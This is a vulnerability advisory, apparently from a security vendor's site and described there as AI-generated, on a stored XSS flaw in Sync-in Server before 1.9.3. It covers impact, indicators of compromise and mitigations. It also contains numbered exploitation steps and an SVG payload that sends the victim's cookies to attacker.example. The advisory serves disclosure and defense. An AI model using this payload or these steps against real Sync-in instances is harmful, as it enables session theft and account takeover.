CVE-2025-67438: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2025-67438 is a Stored Cross-Site Scripting (XSS) vulnerability in Sync-in Server (npm package @sync-in/server) affecting all versions before 1.9.3. An authenticated attacker can upload a crafted SVG file containing a malicious JavaScript payload; when a victim accesses the raw SVG file URL, the script executes in their browser under the Sync-in domain. The vulnerability was reported by researcher x0root on December 6, 2025, and publicly disclosed on February 20, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4 base score of 5.1 (Moderate) (GitHub Advisory, PoC Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the raw file viewer endpoint serving SVG content without sanitization or a Content-Disposition: attachment header, allowing embedded scripts to execute in the browser (GitHub Advisory). The attack vector is network-based: an authenticated attacker uploads an SVG file containing an inline <script> block (e.g., <svg><script>alert(document.cookie)</script></svg>), then shares the raw file URL with a victim (PoC Advisory). Exploitation requires the attacker to have a valid account on the Sync-in instance and requires user interaction — the victim must open the shared raw URL. The fix in v1.9.3 enforces Content-Disposition: attachment when serving files, preventing browser-side script execution (v1.9.3 Release).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser under the Sync-in application domain, enabling theft of session cookies, CSRF tokens, and other sensitive data stored in the browser context (PoC Advisory). Session cookie theft can lead to full account takeover and unauthorized access to the victim's data within the Sync-in instance. Availability is not directly impacted, but confidentiality and integrity of subsequent systems are at low risk due to the cross-site nature of the attack (GitHub Advisory).

Exploitability

A public proof-of-concept advisory is available on GitHub Gist, published by the discoverer x0root, detailing the exact SVG payload and exploitation steps (PoC Advisory). There is no current evidence of in-the-wild exploitation, and no threat actor attribution has been reported (GitHub Advisory). The EPSS score is approximately 0.018% (16th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Qualys has added detection for this CVE (detection ID 5007911).

Exploitation steps

  1. Authenticate: Log in to a vulnerable Sync-in Server instance (version < 1.9.3) using any valid user account.
  2. Craft malicious SVG: Create an SVG file containing an embedded JavaScript payload, for example:
<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://attacker.example/steal?c='+document.cookie</script>
</svg>
  1. Upload the SVG: Use the Sync-in file upload functionality to upload the crafted SVG file to the server.
  2. Obtain the raw file URL: Retrieve the direct/raw URL for the uploaded SVG file from the Sync-in interface.
  3. Deliver the URL to a victim: Share the raw SVG URL with a target user via a message, email, or other social engineering channel.
  4. Payload execution: When the victim opens the raw URL in their browser, the server serves the SVG without a Content-Disposition: attachment header, causing the browser to render it and execute the embedded JavaScript in the Sync-in domain context.
  5. Exfiltrate data: The script transmits the victim's session cookies or CSRF tokens to the attacker's server, enabling session hijacking and account takeover (PoC Advisory, GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from a victim's browser to an external domain immediately after accessing a Sync-in raw file URL, particularly with query parameters containing cookie or token data (e.g., ?c=<session_cookie>).
  • File System: Presence of SVG files in the Sync-in upload directory containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
  • Logs: Web server access logs showing requests to raw SVG file endpoints (e.g., /files/raw/<id>.svg) from multiple user accounts or unusual IP addresses; server logs showing SVG uploads by low-privilege accounts followed shortly by accesses from different users.
  • Application: Unexpected session activity or logins from new IP addresses following a victim's access to a shared file URL, potentially indicating session cookie theft and reuse (PoC Advisory).

Mitigation and workarounds

Upgrade Sync-in Server to version 1.9.3 or later, which resolves the vulnerability by serving files with the Content-Disposition: attachment header to prevent browser-side script execution (v1.9.3 Release). As a temporary workaround prior to upgrading, administrators can configure a reverse proxy or web server to add Content-Disposition: attachment and X-Content-Type-Options: nosniff headers for all file download endpoints. Additionally, implementing a strict Content Security Policy (CSP) and restricting SVG file uploads to trusted users can reduce the attack surface (GitHub Advisory).

Community reactions

The vulnerability was responsibly disclosed by researcher x0root, who is credited in the official v1.9.3 release notes: "We would like to thank @x0root for reporting this vulnerability and helping improve the security of the project" (v1.9.3 Release). No broader media coverage or notable community discussion beyond the advisory and release notes has been identified.

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management